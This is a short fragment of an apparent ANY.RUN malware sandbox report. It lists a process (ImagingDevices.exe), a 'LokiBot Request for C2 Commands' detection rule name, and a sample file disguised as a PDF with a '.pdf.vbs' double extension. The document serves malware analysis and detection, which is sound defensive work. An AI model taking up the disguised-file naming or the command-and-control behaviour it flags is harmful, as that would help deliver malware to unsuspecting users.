3208
ImagingDevices.exe
Malware Command and Control Activity Detected
ET MALWARE LokiBot Request for C2 Commands Detected M1
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
BUDJET TALABASI 09-05-2024·pdf.vbs